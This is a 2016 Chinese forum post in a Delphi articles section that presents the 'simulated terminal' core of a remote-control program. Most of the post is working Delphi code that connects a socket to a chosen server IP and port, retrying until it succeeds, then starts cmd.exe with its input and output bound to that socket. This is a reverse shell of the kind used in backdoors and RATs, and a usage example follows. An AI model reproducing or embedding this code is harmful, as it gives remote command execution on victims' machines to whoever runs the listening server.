HanDs
管理员

[Delphi文章] 远程控制中模拟终端的核心 



在Frenzy的设计过程中,需要实现模拟终端模块的功能,于是编写一些函数来实现。

撰写此文以记录我的学习技巧,封装好的模拟终端功能模块。

{Made by BinJian in sleepless.org.cn}
{核心函数, VTS_IP : 服务器IP, VTS_Port : 端口, PVTSocket : Socket套接字句柄 Result: cmd的进程信息}
Function VirtualTerminal(VTS_IP:String; VTS_Port:Longint; var PVTSocket:TSocket):TProcessInformation;
Var
  VTSocket:TSocket;      //连接虚拟终端服务器的客户端套接字
  VTSocketAdd : TSockAddrIn;  //虚拟终端服务器的套接字地址
  VTCmdEPBuf: array[0..1024] of char;  {取CMD路径的临时buf}
  SI: TStartUpInfo;         //进程创建参数
  PI: TProcessInformation;  //返回的进程信息}
begin
  //创建新套接字,连接模拟终端服务器
  VTSocket:=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  Log('  模拟终端套接字 创建 OK.');
 
  VTSocketAdd.sin_family := PF_INET;
  VTSocketAdd.sin_port := htons(VTS_Port);
  VTSocketAdd.sin_addr.S_addr := inet_addr(pchar(VTS_IP));
  Log('  模拟终端套接字 等待连接');
 
  while Connect(VTSocket,@VTSocketAdd,sizeof(VTSocketAdd))<>0 do  //连接
    sleep(1000);
  Log('  模拟终端套接字 连接成功');
  {管道技术}
 
  GetEnvironmentVariable('COMSPEC', VTCmdEPBuf, 1024); //得到CMD位置
  Log('  环境变量 COMSPEC = '+VTCmdEPBuf);
  FillChar(SI, SizeOf(SI), 0);
  SI.cb := SizeOf(TStartUpInfo);
  SI.dwFlags := $101;
  SI.hStdOutput := VTSocket; //输出到 socket 中
  SI.hStdError := VTSocket;
  SI.hStdInput := VTSocket;   //把输入的内容输入到CMD管道
  CreateProcess(nil, VTCmdEPBuf, nil, nil, True, 0, nil, nil, SI, PI);   //创建CMD管道
  Result:=PI;
  PVTSocket:=VTSocket;
end;
注意上段代码中的Log,其函数为

Procedure Log(Text:String);
begin
  Writeln(Text);
end;
阻塞的调用示例如下,如在远程控制应用中实现,应考虑在子线程中执行。

{未测试,仅参考 by BinJian}
//声明
Type
    sVT = record  {表示当前是否正在进行虚拟终端功能的环境控制变量的定义}
      VT_PI : TProcessInformation;
      VT_Socket : TSocket;
      VT_Active : boolean;
    end;
Const
    SIP = '127.0.0.1';   //服务端IP
    SPort = 1114;        //服务端端口
Var
  nVT:sVT;{主要代码}
  nVT.VT_Active:=True;
  nVT.VT_PI:=VirtualTerminal(SIP,{StrToInt(cArr[2])}SPort,nVT.VT_Socket);
  {下面开始监视创建的子进程cmd是否结束(其实不监视也可以,为了心头爽快)}
  {如果已经cmd进程已经结束}
  while WaitForSingleObject(nVT.VT_PI.hProcess, 100) = WAIT_TIMEOUT do
    sleep(100);
  log('  cmd.exe 虚拟终端进程已结束');
  {把虚拟终端功能的状态变成未活动}
  nVT.VT_Active:=False;
  {关闭套接字}
  shutdown(nVT.VT_Socket,SD_SEND);
  CloseSocket(nVT.VT_Socket);
  log('  关闭虚拟终端套接字');


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
远程控制 模拟 终端 核心
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复